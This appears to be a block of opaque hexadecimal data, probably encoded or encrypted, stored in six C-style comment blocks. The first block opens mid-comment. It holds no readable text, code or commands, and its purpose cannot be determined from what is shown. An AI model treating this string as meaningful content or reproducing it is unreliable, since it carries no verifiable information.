b97f6ef8e4d99034a22f8b8332f3dcb988cad27ce71a95ae525b22ae9df84bd7866d076f910eef5fd9c34305a3db34bf2afcee62ceccd8fad33af9e3cf786e4389f9e8352fd8bc65a8b69fa74b2fa4f5dd642b15612fe624754ae54ec092addee95eb74879afe6d6b7b643231f9db9dc7b8aedf827a0ca801b1b4991dbcacdf6d435cb769fa159782e6335319189424451079a4055bb726d8b40befb661bf28383a771e87c62fb1e95111eac08e2e4142b2e576589c7c63eb2f1df2e0e45ce2eda164ae104748ccf3309a80b448e1b0be087c8277b4981810683b3e68340138174d8f2d4e16514e7540907e5b29f288013e09ffa55665d38cb800a6cdef06044d17ba8337e85e404a8ead5fb7062659ceddf53630d3253b3a27891050c9729ff7fcd890d36414834c0c3217e3b01992e95eca98ca470094c6ecbf0a64a993047508a6b493d9690e231fdf472fc4cf724511897b3866d0a2818a2a21a423f31ca8318a95458efeb848db4d3eb7e33341d84dd194ce1dbe575ad6d12e57e8daeb0f2b73968567f2139c606ac658b21ce13c5cd58c12b155d7a9ebb1498e25ff621385b80591966f683949a4c50975e8525fe61e1c0987dca15c6f2c8adb0f24ca0a953bea5a42b522d233f48aa9a0eb17e4021899e97a20f6811979ed5e2ee5385168ee9db8e2bc45f2d100764d4ca822c3a6849dc3e386b4861fb073045adb155510ec84a0f8e8a6bfb58d6f39475545d7dd09d864aa482c2c47fc246eb911c5555706739c9739fed9971f30425b21fe95addea39c96bdfa94204b993725f151cdc4fb70bf5be11a1a17c7354c1d4421c98853c50c2e341cc8afd7d86475df51d86e56b435fcee71e04fd9d6d5a0e79c6fc87def5ba75700e26d7872c30c96a24ee9142e47ebc30d19878e0ff8d8507a956b54d3bc20f6ecf0198b64898d2f9de2c2c801b0a66c9419b53f8ba512e8bd77882960f0a5d786ba436895e07956c4ded489d652e907ed13275f665ecf3289cbd89dbd94049c153c63dca32c3572a0f885b23eb818325d59368cdeb57b143ebbdc9c703d700d617649626e3dfe426276551df30ec56a03d77bd96a0383bd4d9329210ead74420c0f717082c4536a852e6f0f67fd66d429f7a1366238e6dc1c0b2bc90b1b07bb871f971e8b0387152516bc6c9b75fac57dcfc7a2189736e233ea90a2941719c66c0ac8f9211584b023113ceb56952627862a99f12a082a873c06ff20cce5f33dc3a9df99fc040040444891e945dcc8688afa5a395d6eb03af43b9fb6e2a68291c90139928452e8780eca1bb7800c13cb1b3739beb44202d14713d4bc0614fab550646552ed44bb75c971f314796bd3ffcdf7f649d03c02ae79ddbb965bb23953d5c4bff6b6164f642e4e94b7f5dcc1c106d8da22854fa1208b1ba620755cd366521f3c1f6591e0cca93aee775f41fa9ffaaeee08b827fe9c2239ce523c4c27c36569d67c50301d20cf33b9adfb22bb700e5d4c24fa56809ebbaef82e9f18c9f6e8594d679119dc5aa851f6516b106a16467865e68b900496185240a29571914cf30880576f0aa30e1b63bd2d734e8af13bb827261ff7e60e1b704e08186430d4a8d2a28bcb7323f76dc9aab1c3597966f2639362f0d4e609a6168d847d4296cbaa94cfcd6e6d92a6c4b86e4a29f0a0acbc36368350fdd6bd5e8e1087701e974b6c9ca616bee35b80df1a04bde554230294c8af8847f85f45e0e2a55e9c99a1626c7f3f3f0c77af5e02257c8117effd8d17b51f57f93f903dad32da9ba98cb64a80b0a6a5d95b08e8f63a4c4dd7466a0ce8b05997bc5396b916947d068551b67bcd58ac731dc4f7006d35f868382a514f2764886c739a02d9aca25f6398a6ba5c2464ca1b912b22a3945aaf6e5f91d2d53f7a0460190b7f5654416350a36519c238facadc0bf2f9ffc6b97462bf1e0f663bc9dc9897b6f958f235de16b35d296a29ed9fce8e7c70ea9c169b30429d4d469*/
/*231515ca12f5457f56baebf0a9f3c0a6545c79ff2602f97cca6ad9ded28514a0e612ff676be52202ada5baeb17a93faa557eeb9f13982e0754a49dc8880a66d4ba4cce4945d7a922493a4746ab7bd9846160f1323b2e3d22bfd2080bdbcc2d0110fe74471002558678b3171d936cda4b5b9178b1d52426ea5cf5bf6c6e8f2e917489c24ceb1af0bef42906e1a4bcd789bfb2c29488cb2ce48376ad9d29b61416f8a0e39450471b9ce40617f55a953272001e6602c10465242af7d75e66ab6ecf8c459e669322f9c786468d6b2911138cf24663b20ec9d771bf315120c309f59076ee3784dd1406f76b2490cd2ef7ea847a46a127a03e17383f780c8ae33849882585a9976edeb21fb68d88206424bf3f979e0223749d8b451b2f402f8aa45ee91d7ab855dae5c8bed78340196998c9fc57def2d34852b4755fcbbba20ba21369a86362d6da657dfc1ce0705a555d054c0d7921b6fe214aa5604cacc0cd29a32d9a385efa1ff75257f175ea8657b65834e1656893dbd9469ed2a7044faf39e5787dec1e75a0e8079c0c45f13c120b88390b848ac1f7f34316b72531b37ead85824c152689e7ff2c545c6752729c6ea047c7c7e8d284f57f36e6090853871b6e3e39a30d003b33d3d00a87032a0eccd5074971798f9cbf98a8151d5e006f8c6b3a852dcc4d59ae952750319928b78f89eabef6f54eae28ad9442a115a59d3a9a1a770fbea81b6cdd6d05d8df08ddac03ce13f3f1ef5dec5c2056697eff54a1dd3593a11fe876df2f2856fff9074dd65672359a4e9578ad4d0248b9d83f18008b60a3e91eaf4ba06a7438ef283fe22b63fa53e4f4ea7ac960c3d82d6aad9ae8447ddb5f1d1b6b9cdf1b846e8337596d28692f424bbd7777c30a5ef555b0711e70225f5c4aa2135974b63a486003e785f571f5798e40464ee991b0da3807b073a6103bf43f4607a29fb5f191e016ca4bba770f4d287cbffce050570effc213468ff99a4cd64605cb98f7330c588b4662faf096625d1ff79299209365049f72c31db044e26da689af8bbf941983c8aabe3173a58e4317ad94cff391fa5739d7f8517ec2716cd1b2a42f2cbed6ba6d75985c58d32ad0f1945430e3cd4e5fc1a75a8d398865af8f78f51e1e6e2d8d2065aee148c519daba5f2cbd3e3915f6741cd469eb85d281651388a02f733905382668ee82e95112f2f565b1c519ffc40a0482e8d7990a717dc123223d44a73ba17279735c24e5a6903802de9ceacd5b03434d11365ff7a9cf4f859337f3e29b2497e099f921af348a96fa2528b11ccd9990492c083b25c7d7697857b0c1868812ff46e34de0f611ef1e9f05f1d73ab659b7dd4dc980b1857e1ba536c350c3b1e11b9f0b54e73934117522984f5620ab2622db48c3e3ea4f959f7d158d35ec85a94215d76f1c3f42459dd17ce12d98f0c1b95853eedd325eb15a9c5e3f9a9029c2c8d80fac7ec7cbe4112e30e2122ab75eae93231ec216507ef35530f02c8370f630b6a0135fcc7d508639cf7007b6f892ae13b66b1c3f4049e7917595b132905ab054e988396fe19d3da521211bb6baa10ac2c8a4c4642015c68541153b844f82a901a47cfba2faeba7b9ac844684380579d0a1215e4e9e710ff38a48248758cd914d6553abf1e12f13fec86a1eaaa47d202a5ea2b83ef006d34174e1d6bb1ae8bb9c5f79b0fc9e4e325ed237110122d20866a479a105221c2f2d3d2095d975148edec3aafb99a4ebc73cd8767ccbc042118d1b38b8d5370a5f22687ab6fc0029e0e360de32eb44cd449fea74863689bb8872f2c37d38c2d430950939f4a84b57e71c0ccb72e4f2d3e24c0f528e30c4432af1804c4a217c39e84c39d4ce4d209941b67fde12778981275dc3db583205110dcf18b1a392bb28fe54a58ae1454928845f1ff00e7911f7fa10ee264f5555e3de7e83677eed9eb6f398f4ebfbf2ef2ffd121bed9fe0b7ea73c0fc634a52e078bdc6758ae81151d18a76899305accebb1e83d31c84d93e38eed5c21f5bec9735d67e8d2a72b8a6d5802d0366228912bd4d3ad8f4b7647dc25a4d53aa69713241e1500448a80f47d1a663141233d52b8c63cbe6851b2ad6aa449b30af08043008322836de35bf22c836abb9e9c81dc5dac9bc00bdae22bb6a8c4b2af3f682a81e696bab193b7ad82a2434c3c8f8958046f4ecdf21e956ca0b6f13e4045bc8508087662f75b13a75f30652f7ee7fd870414bc3ceca86e199a4e15651be45dc05b7e9ce21b3bb6801dea9465c86c8f17fc3a26986a2e114179204f5cf275a1ab3277a12aa2e5979fa9950be770a5fbeed3f3c47e8d7fb72d6b4e4750c860949b6305a3d2ab7b8ab9c484ddb62ee01b3c53db21f325d74a6a6dbf2deb3c93a0ad202f321e46880b8145bbb2bfe52183e6df8972dcdae7d606051ab4ffc1940aaf16575cfde7dfd63e32b7b381f586720b0992b57ed2bfc95ba9bed47ba27c24b601c81c772a90814107c5ce182335889c86105b68fb1035794d25f0966616fdca44064278462e23288cf57a0a9cd43d4876d1eee1cfd1d2bb568538fac070c29e499e5d095f4bd1bb14061679f37f4303d63097071873357b2e79458ec49cc2f94c45f00639ac8fe2c1a20b2bf60d4481e6be779dbaf0f40f8fe67baa7f7d8c352ea3f8b979d4a93e14a144387a10cce02bf8d4b4df311c84ac328ebef04cf42a5f5d642fdb0fc694408d675dbcafa895ae3121836e1eded697e53c62756a6f265ab00262775dc95628162846b643a772bcdb921c49b214c8f1f5fef34e1e11d94913cc837733d6d4f15991e171f990056cc5b3f89d4*/
/*54ee5164f133e2a43b0d66120fbcc1fbbe066d7b821a2c2e3eea7bbcf1331dd6abb7faf4974397057d6e7f1f31acae57a81bea6833abd0e26fc52fd91ed39337c979c8f52a96d7e0f50e1dfecf71e0572e7c24ac27b6a7545d3402673368233161ee0941d36f9e94b298c0245ab0f6ac09b672d353a2634c1ca1b4787dc6f6466fe2ac0c7fc640c945fa11f69faf3b5f50873bc26468c855a5c3e55fb683d4c077a7ff3d81a31543178f523c68f00a12f2dac4e13ac49eabeb348a58bd3f0c4bdb4cafaf0b32243f48c9d7f8e737d8ada7599670dd919c64f39992c34190ab28a2627811b817bbf341d1a90c8dbbc6a20a3cba9af25282f54cfccd5f91bf94ca4cdcdff5c126b8636957c85437223f8726e33a7b7cf39e75a88aaaa9066c7e98cc263277610c6959ce71420fe9d238326c07e75d7f12e19d2a7e9984f0044fd858063cef763f7923ddeaf06226d7ac4c6672e0796ae58fb4c04e0f180fd5243c0e8bcf22e5df1ad3c08e06b479f3c0c878a4b4098d640fbc4019499b7602ac20e158eb17f1d06a28e83d899e2a1a11f1a51be5820112e99c8e9eee5fc1b609d99345e2bf3ae5b2c2e5295a7ddb63af6dfc71265be645629c4a5ca33a43e18d599999e68febecc42192c3c39f83d858f2fcfc8bbf5731d8422cb12e36369d650fda11e8e3e9ee29b9ec1efbd8c71c846828cd65614b857cf93ac8db8cacb3f41089633e5ba24b058c5f93a9ecd9644bc34a7d4f14819fba4846b401a685655476dce2a3f2d11248083dab19b7973cbc1e1262077faa61dbd8b6c1d259d17fce69b649cc9931416f380d3efa8ea5568f5c9368e0e37f9f24c41eb932d083eb330e6035306dbd5e773e94c9639c9bae63aaedbf812f1dd87c8f5241913b6c1226738b03259278256a1401cff399a7f339a42dc6d3019288d0fad379a73421828e99424cf62d7f0536a7e12b13338cced81ec1b2558c42e87512104d2fa2f85349a4a31dad24b73b1bf4aa8d33826adcc3c8f8aa6bb13fd29a09827eb91365000c985db19847e07d0fdbb393bd04871906843ecc64ae9b36f5ca185d80281a1b22620dc757caff0bd151b3e5cc6fede4bdc2092381ff7a1e7e51f4d307bebf4868d015d07fc31ea3b7e7d150f4354d8c5a3cb898d7623e7a2a2919bc668c44bc365d4d52d2f8c1677119bef005a909869d596bf2557a1e918c3b40820aeda27b4405839041929d5038f13d0acab899a274617fa67b35df251fb6857af01936e79935a23aaeb0964e71b94905190ee978401183230c4c5a19d09aea7efc2a00e1b46df8e057cd7d955957bce2d043004613088c9c511c00378c6013f8c48ce813b9e0a5675230e3197ebef39bc493681867bbed720b4a58c7365b40de03323552d88f0cc1056ee821ce3a3ef6707888f6bef59268520711972d9fa322d26ba4a55decb7cb923197365092b009544ec6340d5b3b483edee242b2cc6c0bb7536ac6db654042d55507ecf19c22e2809e8e2fd8e2e753ab5e7ef837cede9e2ac8cb80d8c45566cdc625ef965c56f42942d740a4793605091d2ef3df68d49d145dc3702901cf4a3bd4f46c095521ec15c341fcb56440a60d7e74e8953520ce966a54766e6f0594fae7352030fa2ac4797b73d652e5ab41f0d1b5f9124f90054de55a650fbf091e300dd79ec49dcbce31d7af98162082b07a66b61250188782c9030a36448fc12d55527447c466683441d7616513d86be9941d6fe8860d09682bf57301f93ba05aed218977368d9f18b30972943c124a3b5faa499fde22ef7ce0c067756979a371f677c5248106bdd8f9cdf239d642fb7e1b846eb39d9af5258ff118fb2edc326f7cd817c10e0ef63e7ac3541a33d301fd32d55f951e361c651930858973e4a1bae76f924605c80618c1c1c89be09972b9d4aada08ea3f93348886ef865181b598d8d4b77f8d7e66315ef9c6db70ff777183e6b8ccb0fc84e05cbc490a617cb9f830abf5847184cddc4361db3f19d80bf66098c545307c33360b572ab2e990346688ce9b7c23a7db5e9fb3536ac192f77226eade2489f45a47f346ae5a5e9b078f8a58ec941f92bdd13f3164933bbe25568a344637c387cbb104bafd7dd8a778ffc3d4a54b3a5db0c9b46f1952d08e37f4781a61c8586f19385077a021298915eb89265f6b824c71f6adef5856e1d554334fa721ece7769abe129b589123d8548f4fc4fed1051a0dbb57bc09f8950a318bd8cba09c53d1dca346897548b4fed909f221f4216cbc39e616a9df9f0ec6ab3cbd5c5a1cde6f8885ba76e3b979fbacc730a917900ddd6e436b6fa74639e1b8852d461c6910886c3622a9f90fbc7e0a9fd4cd2268fc8d456896310d8e2a6f879e3c4fcc64bb0ca9aea23a0f58c7287cbb15d0fb01a81e7cd21f48aa18999e8329caf0f1d2e7f59b3e0677f42a1a2595cd9bbef4b2ee66fe04c82515c6412dc482d67d588fc3a6f4db8e6ca5dc0e71ac97e8dc8504ac782be34a4d4823bcede621181055ed9ab5cc3f8893d64cbeb3e184ef505d68d515345a9ad0a4508c0edb0ae211def2592954be464d51a9167715ac54a8d59a469cb650f5d046beaa29f8611ab0aad5bdb62461b5abc33012d4d389e27d5c441a65a036d9515288dc122a55350244c8b4d8a895536e1f852a0f2c4c0443daa6fb709bfe43868c0aac44a812d601d55397aeefa6099b6363b2452636906ca3093425694f4130ea8a444cc29f7c297388e79c64193c43ca037c5e5a25518bc446d0fb0cb67f3937c54d29afad31c59256c6f78247f49569a5b386ca474e0a27d2f1fc7bf8b7f222931ffa*/
/*520d8b0473083c99ed25cd58b28181fa57d27388bf9329fe0b121af56be94c625a88a94c559630aa392813d5c7ec0b4ba8ba5ada0c350f7af175f6722e9bf64e4ca15de47dac527de18edf21c013d72a4dc8ca448bf05d51416f09be8fa0b73b581f8fc7a8b3c9f47fb63b6b22ddd493234f5de078887bb4813d9a55e3ad82545bfde3505990a5ca733784b86f0c2dc0e86e622896596582e4e2e9d336be6a207590ce09f750c733dc16add88eb579e3c2640cdfcfd329a248c625f0e0377d179a26ce6367c0810f2e09c7ecd652de8880b984af8067117851013a8976fc8d024c9f2fec0988902d48aefe45fc44b0b15c959af8f0d3828f3cc5b2c9ab2f6c4562e56181560fc622b111c677d28405d478ded3e446c982ec28259699ce39f30cb937bdcf24200f46ce5811ca2dbed4f6791de5f59dc3306852c46a7282020a018360da98d931959c97a30e7c1cc714c6dd9a5b643f852e5e2a7cc4881f3fccf26b88f859909f5743ff65cad98ab1eba6e68043290a378a35227633e188f6ea6a874284528d8b0241bb5145aa808829096278c4dcb0ab62433856190c670882f8c664b5ef6b7fcc27ffa789bd4e185ed9857d65e5b26ba1dc4b4343cf659b628b6544daa4d648e728ece4dc2f8bc9fb8e37d3268607b5bd3ae0177a2a6cdfe4475e22627955e63b8ee82795776222d0045bf5e6e8c3aadfb362bc8d51567d5d2cbe79da9dc87af350ffc4d420afe8f389397058d901b4629c7e4c6c99cf8ca47fe852032ae2ec7360ddeedf98585110b13ff6a56ed9e7331eb8401b6b184a37466c41723b8a3a1d943c9c903191d6fe80612445b7295c8aa6bf4d5793ecb3f50dda88f73065f1d6562c23fdaf86a4e813d8755b1cbe7f7da870935c0fab7fed6d37c4c7f395f313e30d3e6f31b14e83555d0597d248341b84f5ca34ce784b980590a7e5ae9256c530392bcb4f0b8c12ff8e617a41c5ae5fdf173ad6692f15c8798a041f590cde9d7601ebc333a2fbf1b6f4aa5d58b0ea33a0e45655abfdad9f4fd706d34564e02372556330669b4424614722fd4d8806897b148c43f03162ca9fa49afbae0ff04c158674447766be26d4f38aad1b504a07783ec75b3121d4cc0f21fcc771ce97bcdc2e19d748a300d6acfcf6646c8c165acdd7d449d27480cee928298c2b0da2a4644fbda327edd447f4ab1cf866043a13fe469ae1ca370fbc521388b97fc633dc89aae06aaca29a04cddd7b7f1f73c3c4eadac70e9b98711f8d6c53495ca8c4c40fbea6ac25e40ea352e4b09b78952fd4133820d96180c452810dbcc9dd6506d3aab1f675d14c33357c951d946335767a8748488d8ace0258d509dae58d8c293bf5a96de008cdb35ad11764dbf6f1d77aa9e874e4a84ea195d3f83ec0de9a6d32d8dea23cfaf65552d672b39b74b5da79dda3379bf4fbb433f421a5982afad5ac33632eb96156684947043a405201106a64499e02422a162d8f13a3f61a6fac2fb1e5265cf2f3094c58e0c26633baf39bd3dca59d87518d46af947608dbb83b3d9720d41d766ccc30943640a40a0af3949cffba00e674a07c2df56b18ce93bc7e6ad91963d8af00325608058cda63a682e409ec6d9f38bbc8ab75b4a0d8ccaa307625522ff76ba3f0020a81a4c7eb3681c6b26bf437a69316dc7c5dbc1aabb511e7ad35640960773ec0ff41fca6aabb38876610cd1dbd3939da8a26875266a1b83ad77164959f1023c4ec7821eb44252349ef46981f6dcbd596da3e3d605efe818c2d7fde3bde0af982d0af7ff466896a0e5e2c0afa405c95ac663f84a0847268826a107d3eb31369186ce8f1685e3b54d1891c70c0c9c3bfefd3d3a2718f0a2c5f06703aa3b7e20ee4ea44ed74778c1f842669b3b1a7029ff2c83ebd9a1b6e7f79cf9e10d7decdacb54a52f97be1b5e97d1fb9a84a9e2b97d3b7032ceda47bfe76e86e8aa7cdc62d492526ba4d764e5cb5d3a1ae8f68a06715da432374d723a7bd95df194d24e07a3bfef0c8a09f8063c827ba8fd2180be157f7c71a79189e81874afbecb6bf2177eb77208c7e857f29e093b083701e2a99ccc389a9934212c3dca17d2263d15fa92794074c6dda47fa04ffd428f8e67d6555ee56bc293520fc35c051696dbd35d9b309b9fa29a6a8d65fd36eed92f832a2cdc6cd9c059292c45111278f99bf126fa4016321e87d23f2b97628a6743e6ea612eb3ab10a1bb09ae50997450ed12d264445988d4a53b5326b57cdeac70067465639ca80983c4475c7d8afc52f09b489484fcc0f8a3a8859c4d3b206064c5c65d1bed178bac6fb3eff8dc65e58cf60b34bbfe8ae25e173a073ea5ba94382446def519d2a8edc0db21dbe13dfbc82ed6ce0f879afaa7ae90919e2a8d53d4b205cc083252b83a611fd26b523a87e31835202908d813c90436882142012dc60ddeb20870eac69eaf427104ad282f981b347f7d64111c7b90488e53f1f64149d126c0509488da94935d105c9660f2fc9c1acc0038bbcf5f47d814dfdd57aef25c0dc48a23e257775bb6934d2b24a35fa8984460354c5ee92a4e37d4da8f4eb3c37e0fbfac8973164908f91b455339cc8d935cb32b2f14daae7627ef81221d69aaf2bae411ebd4f10518bcb934b02d1e9a696b0d6d74c8490f8ce7ccbb9661a393172b29165eb94a0b319087bc94520f56757896a453a845726d629af5af1ad2443748c3e7a82a5a35ba092c35b02740094e929a3d295442fe3ea351cff4172c7e6bc52e311dd0b47c0b3ee1aad43dde2c7ca4bebaa0dcac76163c49b3deba97d01ab69bc68d627efcb4ddc697755a73740d767*/
/*8b302f08d2c127a79764b237c3711c41d334b6a3958a6e128c0c96e5cb7e1ce35bba25f54dff993e91a7a9f363fac011f880b01f769d869d30fa81f08c3432f5efaf24bad4d8f7f632912c586354cca8dd88a2ad5f5e5751ba3b4d06238140aa1620906e7c6165d51b62d830370c145cb8e6c88563a5fa8ca64ab2016913831befe2819ad2d5780eb585fcc545ea36594f1d0cf3fe0b8d1e7fe745614a976831891ea18fed89d672645306e1e3bddf733bb4dd386240bdac169b1719d64f4c2813ea1471cc8959d3a139aadcc6bef6b86af72709554f4549238f2d1a1b86818e63b23dddfc5a442a2dbb054703f5cc660bf5e9190cb6a4ffa3ed8fdbf1980cbecc0e986b01fae92ba8ac3d83480a5a496000f0ff5c951f992163f250bcb5d0dbac94825c64fd6b200b1e883706b935fc5e22035af031b956f660c0568b5707eafe4ed2dc41c879f28b4032dc0867da2369b8894e04cb5e88807a93edb176c5ae82dcfd8ee5be91f1af9b448bed27afa0bb0f6723bd94f143096cc96d7473bf42cec7ba99f1e9976ea6ab9a27cb37d8128c07256e998cf235a3d2c8892c768c1bbaaef6bc7a17d146694c44e812448d388e81901742a7844579ddbb3a3f380041dbf19e93a5df908cf6d4856810c879468ce2e550e62d5259cedef686b4f6544e4dd9beb5d40ccf572428e5e4cf7c740da313673b96dcafef4713b81e505063c902b9e1ec92a22d2df2ce2e955200f1bc46eff76c5100f236180a21c3931faad3b06663724597439685356dafe152a7d4e7c5398a9cc48894fd48fbcaaedb44d0a5018e9508d4db775cb280e1571ad5517a3db5cf73accf9cd1d1e52b448beaca758b12570286979806699dc15b0d3df35e1b0646f7035541d440a82f133b753932bbcdcb950614a4729f23531b70a0da6494027dda2f63e4a32f91c871b185e4b328b50d9bacc6cd865bff98f4d459c5fbcea4fa440dc809dd90d7998cf2aa3dabaf02f6954cf65f9a070e3572e20a99e31fe42605ea6b3a51c72c3bb134d45b608fe7ce1f48d61417261ce46dc14ce384500ac41036e0fd23b56d1f6a21122096a1a9a54bbaaf51ed4beceb949f192d3e0b418be0194e545458f23109e77db6c8ce049770fe21fed81ed6687bbc1ad43e73a1e8e31408110a2fbd189b641fec98f6bbca749542e7c493f229d1e2165bdbda1568f21535805864aa969255e982814ecdbfe4790b2e026ef8bffa65a37db00f7033721cd34c3f6fa478d1af2dd2a2864330e09d94a9d62d651f2bb6bd3179af79c51db06815f460dc748c6f18f846cfb64adc98b9cb406072550677e2aae79aaf307e043d08ac1ff2cd9971034011bf26ed76a5daab52982c308d075dea1c5032e401bda8e80fe5d4787cf01f971a07cc50f9c7e27624d852c53dc81f08fe7f6c6359457e8ebe6cafd8588eb21afa5725b03194b4cede25ad173a68a7a703d40411601d603d0bb250dd7eb9ae005199c33a325d9852476456fed70d119a9761be452909a7a718b2923082dd214b321bb684722fd250d20af88210e706469d613ee4cb5282315549efd7402a5c146ba6954d1cf2cf41b192a58f85006e5d79db708a2a95ab57fc2bcd8d4869bc48689c18fac477dc94fe633714ae9a49461163f624c11c79d67fa80eddd0dc8796d3cecb9a707b093ff1b84b4ce7fd15c30d4cc60d07a57d31c181cf803785c727d9a8dac7b3f15b0894cb56b1881e761fa3c9b6695cf47d1e54ebf611c6f3267cfa703344e353f3749ef799421d80da47999f48b5195b36197e530ac46aa1f2ab42b152a6aec57195740f625ebf7af20cc0b9593626392acdbc7a68cc84d929a18ecc22e0407a7f3d3b17c0143977163dc932e84f528148d14a873ce9ccb8b575d6a5129d9f4ac18b9457298be452c3e08d11d3492447d85e00769c07b515cb20114d7f02188ef0b71cecb8fee7be020f6d83004fd14d21a5f963e595866e0908b46c30c87f0d572605a14dd02936974053b313d9f0cfe00323bcc10b7a3de2c09ee650756eabce79115982ccbe2ba227a56493d335e3583cfac54cbecd5065f89df2b4381b4de3eab5a85a7be44768f872c985b9e242fb0490e99c8169355a37848451d95b2479d077bea7807b41bcff45d0c69e9c5d70b6c278159211935a3329293316fbc5c99111a40034b6b407818dac954891e5684e2e2e7b61c4727c06c8b0cf0680ca118530b997914db4d0f5182952b402970042049d1e11f63be63a2b969590ea931cba39d3516e98f38b71c6166a7a9d333ecbdc59eb8413e719693a1cd5b600fc6b325aa5caf9ca5c6b3b8ffc080e1f06e028cd776ce1388302f9fb2da13393fca9a25b0e3d4835fe29a660016a2b06f57c024190595401ee8f641c91409a1778c4d5069f551cbd0229c74c14dfc522f8379e0f43c20afb25e25265008c61cff31b439767b9921c219a0548c74a02b6c4c8806ecc34ea58964c27b2ed6f2184610832094df098c68cf0dcba094a199935702eee9717844457db43e9a05acfa580b4674e0d3cb2cb2c5b03490f73cad8055a59fadb5aeb46e9c72bfb8b47510a53f612f0c73c9f266d797c178c0a4e3989e71f3bf9bb4bec949f64b2c9e6f5edef87f3fb21b6da5cf10438bdee775691e3a56ac6fd75144a3c3878a9c171b5250f5059b25337d332881bdffbe1a4bdd828ebfa0229e3dfd1740968e159ade57a35b42a333cd93054ea6141963bee90c30734ffe642e5c25de0c8c266a3e8fc2290c54305c58fbd6a7bf4b44a87563db33f046936cc00231f414f1430d81a4208576a26bf9e7ab1aaf658a9*/
/*f10a5ec7b61c3d34b936bf620ababb50a89f80f15a75e2f9404562a38cd253f7c986c34b4dff79b026830fdc57d9c49a4731f687a81c2133c057ae9c1ea96b6c8321ef4dceedd6a7ec4426157b2cdc3b5a6243f436f3d6e4a9c7dab674a227ebeaf744d7b8c9429cdea7f6b4de71d474831adb0fdaeaff05737f64e8e367773466974447aa313e52170c43fc00067d525e9e5f8dec18e8ef1ed0557c5c95d28a2614b7a35f9c1820998bae4d3f9c7f56fe60843657e985a129b5844d0b03b7f30df62b2291e93088363e6fe3a18f2d921b450794eecf72691490bad353c584c3fdf8db9b17ed788823537516ecf445033e069a202668dfd9e172f7f7d75312f55b27d5958eb3d298070c20f059728bd331087232f4b269eb91d5a8b19cd0ce4c2fbe615e147974795902553a24507c7cc24af6324322ffe4b8af3ea7ff7f2c1769be1192f13235029b14dee5fa67232d66e26745fabf328eb3d81b122bd01eed74c923df7687279a9910ca4b0522ac2381d5fa9f6f4284583cca60117dfd4cc2d7cb15b61fa8ee1162e797534d8172e749d99e5f4e788b0beefd1a619b82194a21b0e7009c403297ab5d3c861c24fa0573bcbce6407d9999355a046bdc301262930e75625b00ddccb78bdbbb56cae9623fdd1def464b18745b0330df30c5541b4b4a4f30bc741d23a3cf7e1bf2afebf08d5bdca2c9d3a5da780b3b63e3c445c2f1cb63c67880060c40258f2b10f7a8638e150177d8269b55eb5dcccbc7f8a74f58a964420142e5624c6a27296e3d98139b8b09723a4f1d1bba959af9f99277ea0e0b733449ac8b43325bfbabbd8e9a57e3749ef7cc273430b3ec437b3dd689e6878068bda35ef113cb51484e7c63af6f7b93c2a34963952fd8df4b8f45d782febf920202695f693296ea1690cbd886ae8ceb8ec458084bcc72562390ecb0f9a5186ac8faedd9d983119604a26229932ca294b1d74c9e3748b32d6d6ceae73ce13c974e01dc6c86118f7867a93382533685811ce930fac69495cb4e900368439378219efdd47ecae2400f21959299feca2d1d5c37ee10d4240e10f0b2c2222a9d6287e8f76c710b3ff26f451c845388b51d2dbdd75e937f5fcf3debb374ed1dbaaf4fc2b797c68ca700bb174b128efd1624d47d55451c1d16fb610a0f25d9bbe541fceb9b67f05eb0b78390d51936f5ab3ba5c23b29a70f1d41c26cfe8693ffa9d8c1a64e74281e50aa403ca2fa1e3f0ddca4d18996b56f9383866f18932fecc559b53e032ae42f95aa7c45421903b1cb0d19295ce8d608e015534fc73265428eb254ce67b8c871f3223cda38e8e6fbc92ab4a0a792fff8e07ae3426ae1f98600dbe043a6bcec80880b2b7803bd4da43a080849fe6318f8c97c7e025783da4ecb9c4e45504f758cf35a4623296204c8d8cba0111ba62a3fe3653892ebc2e0779f1f6febbb474be44757b19f0f53775ffbedc7c5e319484d0418bb6b3b0408d8a5538604c51e30fc518b977e8a5c8d8abadd6fcdc537a99a33ac6bf6d4683e83af5be8289715448c0d96e3f846e95c102e5a3cd7ea62fa71f21913a0c393e22ec3c17a6775345b78ee2b9bf755105248f93ce57ecd5b600622b62f27a377a24f9d44d37929dae20de0793cb869b2aa1b892daf1af1e82fd1b52d8159304fb917d40ac952d2e57cec561d19fce482b9c595908667ff2995404b912aed8c23f93dd5b53da54df780f7a7ecebc5f64010e4957b5dbcff3d90a9bba50d51d0b899e46d82a1f6e5ca4a45772d1080a0bf48d0b2705b6c757c9d468d6fee04f4aba2542cb6b973343db32d8e3d132bf8e3e935839e11df8f96759b947166ea4ae90bd0bd3067b4c4556bc2539b9e8b3f9c6b24b135feacbd0b8a8b67a0d64a4759a145a3d1a14e982aaf4c0dc7f8845ee2e3ef4396e6a31e11724f49ae767cedf5251f8caa8898ca776cdc8f11ca56c9ef01c48306b8f52d6408fe23d17d0f58e8528d34fa5ec19a20d78cb9f295c5042e09593460b1c31702bd97c2312e2bb515fcfe363db1e98b306ca7dc0d64b053c8b4e8800a9ae8078640c2d9567e859a38c897ce2ef8dc8af73c432ae3d83d2e942293d4edb5bf87ba32d633ebcbe204f5f8f0e5c84a72dd0d88cdbbb2d075851f16c1aa66f1b66fd5f993c108631f22e40708be253a8fbb628108409e5e380e474ab7d93a14ea4c7c307cf510cf8904de7bf51d19d9883dc8b89a49fb6aa56ca4aa87112c6d99d992b930126a6cb79e36a5f5cda19ae295575385e08b674e021a99084915eb605785f4203f42e2f8687a1e45e4d99069792e9f9cd0e48c39566252cf8fdb849d5044ccf66b151e6a85a3e8b83762244d1b49eb758369872441dc01c18bc30870a1e86097436a2abb71e5ee075cdb693dc6121c7987db37e70e8c87e3e4312d91b0021d7d2443c6750c9913a3fa4812e3e2f06d0afc8036b191536e1b49bd71b445e4c255500e2e3a0e6eb986b030d0b21f1eafcd651bb2c82320a508e117c3cb126eb081c4996fe17cb5b83acef8a916c10280201e557405b3fb8438d2b48695a6b99d8141da9ed6eb4fb399cd69909787105730194827db665a553751007271e5e150b728652d9f521ea564467dc852b70c0b5c1fe9b7b84510df7a5c53a7cd5c7b3e2dc8a10152020a50ef90cfaf2cc2c0c832680126bc059309208e12dddcda7f36780488887e905f7c3f0f09e47a5d84505943aa7e1a1f850f485a2d80a2ae206ce8b5467ce74a080eae167313888e7b825ce6d24a3931942d0fcc7b20664582ae24068d2f375dea8e86a6a90b43cabaa52476f26f186bf40e997d*/
